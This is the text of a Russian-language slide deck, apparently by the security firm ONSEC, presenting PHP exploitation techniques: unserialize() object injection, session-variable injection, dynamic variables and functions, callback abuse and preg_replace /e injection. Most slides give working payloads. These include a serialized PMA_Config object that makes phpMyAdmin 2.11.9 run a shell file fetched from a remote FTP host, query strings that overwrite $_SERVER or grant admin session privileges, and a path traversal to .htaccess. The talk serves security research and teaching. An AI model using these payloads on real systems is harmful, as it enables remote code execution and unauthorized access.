PHP unserialize(), $_SESSION and dynamics.

Hints and Tricks

ОТКУДА НОГИ РАСТУТ

- **5 ноября 2009, Сеул, конф. PoC2009 «Shocking News in PHP Exploitation»** - Stefan Esser

- http://www.suspekt.org/downloads/POC2009-ShockingNewsInPHPExploitation.pdf

СУТЬ УЯЗВИМОСТИ

- Пользовательские данные попадают в unserialize()
- Есть классы с magic-методами: __destruct, __toString, __wakeup
- Эти классы доступные из кода с unserialize()
- Эти методы содержат какие-либо уязвимости (PHP inj, SQL inj, etc…)

ПРИМЕР phpMyAdmin <= 2.11.9

- $configuration=unserialize($_POST['configuration']);
- function __wakeup(){ …
- $this->load();
- eval('?>' . trim(file_get_contents($this->getSource())));
- O:10:"PMA_Config":1:{s:6:"source";s:70:"ftp://login:passw ord@tvoy_host.com/www/shell.txt";}

http://snipper.ru/view/12/phpmyadmin-2119-unserialize-arbitrary-php-code-execution-exploit/

ONSEC.
включи безопасность

ЧТО-ТО ЕЩЕ?

- a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{...
- DoS по Эсперу.
- Information Leak по-русски ;)
- Падаем:

Fatal error: Maximum execution time of 30 seconds exceeded in z:\home\www\a.php on line 493

N-раз, фильтруем уникальные пути, сортирует по времени, получаем стэк вызовов приложения.

http://www.xakep.ru/post/52630/default.asp

ONSEC.
включи безопасность

_SESSION (MOPS-2010-060)

- PHP 5.2 <= 5.2.13
  PHP 5.3 <= 5.3.2
- $_SESSION[$_POST['prefix'] . 'bla'] = $_POST['data'];

или

- $_SESSION = array_merge($_SESSION, $_POST);

- prefix=!
- data=|xxx|O:10:"evilObject":0:{}
- **Получается – аналог unserialize()… Не только!**

ONSEC.
включи безопасность

О ЧЕМ УМОЛЧАЛ ЭССЕР?

- При REGISTER_GLOBALS=On:
- ! Чтение (попадание в _SESSION) _SERVER, приватных переменных классов, etc
- test.php?prefix=!&data=|_SERVER|
- ! Перезапись _SERVER, приватных переменных классов, etc
- test.php?prefix=!&data=|_SERVER|a:1:{s:11:"REMOTE_ADDR";s:3:"!!!";}

Dynamic Variables

- foreach ($_GET as $key => $value) {
  $$key = $value;
  }

- test.php?_SERVER[HTTP_HOST]=!!!
- test.php?_SESSION[privileges]=admin
- test.php?config[log_file]=../../../../../../../../../.htaccess

Dynamic Variables

- parse_str($_SERVER['QUERY_STRING']); //перепишет **элемент** _SERVER при ?SERVER[HTTP_HOST]=!!!
- extract($_SERVER['QUERY_STRING']); //перепишет **весь** _SERVER при ?_SERVER[HTTP_HOST]=!!!
- import_request_variables("GPC");

- test.php?_SERVER[HTTP_HOST]=!!!
- test.php?_SESSION[privileges]=admin
- test.php?config[log_file]=../../../../../../../../../../.htaccess

Dynamic Functions

- $action = $_GET[‘action’];
- $param = $_GET[‘param’];
- $action($param);

- test.php?_SERVER[HTTP_HOST]=!!!
- test.php?_SESSION[privileges]=admin
- test.php?config[log_file]=../../../../../../../../../../.htaccess

Callbacks

- В PHP5 около 40 функций используют Callback

- $ucback = $_GET[‘callback’];
- $ar = array(1,3,3,7);
- $na = array_map($ucback, $ar)

- test.php?callback=phpinfo

- ob_start, usort, uasort, uksort, array_filter, array_walk …

Отдельно об ob_ :)

- $bufout = 'system';
  ob_start($bufout);
  echo 'whoami';
  ob_end_flush();

- Если можно влиять на аргумент ob_start можно открыть скинуть буффер в нужное место, например - system

Старые песни о главном

- $assn = “valid prefix “ . $_GET['toas'] . " any postfix";
- assert($assn);
- eval($assn);

- $regexp = $_GET['rx'];
- $var = '<tag>'.$_GET['vr']'</tag>';
- preg_replace("/<tag>(.*?)$regexp<\/tag>/", '\\1', $var);
- test.php?rx=<\/tag>/e%00

ВОПРОСЫ ???

КОНТАКТЫ:

D0znpp@ONSEC.RU

ONSEC.
включи безопасность